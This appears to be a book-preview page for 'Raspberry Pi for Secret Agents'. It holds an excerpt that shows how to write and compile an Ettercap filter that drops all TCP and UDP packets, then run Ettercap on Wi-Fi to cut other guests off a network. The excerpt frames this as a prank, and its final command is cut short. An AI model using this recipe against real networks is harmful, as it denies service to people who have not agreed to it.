Book Image

Raspberry Pi for Secret Agents - Third Edition

Book Image

Raspberry Pi for Secret Agents - Third Edition

Overview of this book

This book is for all mischievous Raspberry Pi owners who’d like to see their computer transform into a neat spy gadget to be used in a series of practical pranks and projects. No previous skills are required to follow along, and if you’re completely new to Linux, you’ll pick up much of the basics for free. We’ll help you set up your Raspberry Pi Zero, Raspberry Pi 2 and Raspberry Pi 3 and guide you through a number of pranks and secret agent techniques that are so inconspicuous yet high on mischief. You’ll learn how to configure your operating system for maximum mischief and start exploring audio, video, or Wi-Fi techniques. We’ll show you how to record, listen, or talk to people from a distance and how to set up your own phone network. Then, you’ll plug in your webcam and set up a motion detector with an alarm and find out what the other computers on your Wi-Fi network are up to. Once you’ve mastered the techniques, we’ll combine them with a battery pack and GPS for the ultimate off-road spy kit.
Table of Contents (7 chapters)

Knocking all visitors off your network


There are times in every network owner's life when we just need that little extra bandwidth to watch the latest cat videos on YouTube in glorious HD resolution, right?

With the following Ettercap filter, our Pi will essentially become a very restrictive firewall and drop every single packet that comes our way, thus forcing the guests on our network to take a timeout:

pi@raspberrypi ~ $ nano dropfilter.ecf

Here is our minimalistic drop filter:

if (ip.proto == TCP || ip.proto == UDP) { 
  drop(); 
  msg("Dropped a packet!\n"); 
} 

The next step is to compile our Ettercap filter code into a binary file that can be interpreted by Ettercap, using the following command:

pi@raspberrypi ~ $ etterfilter dropfilter.ecf
    -o dropfilter.ef

Now all we have to do is fire up Ettercap and load the filter. You can either target one particularly pesky network guest or a range of IP addresses:

pi@raspberrypi ~ $ sudo ettercap -q -T -i wlan0
...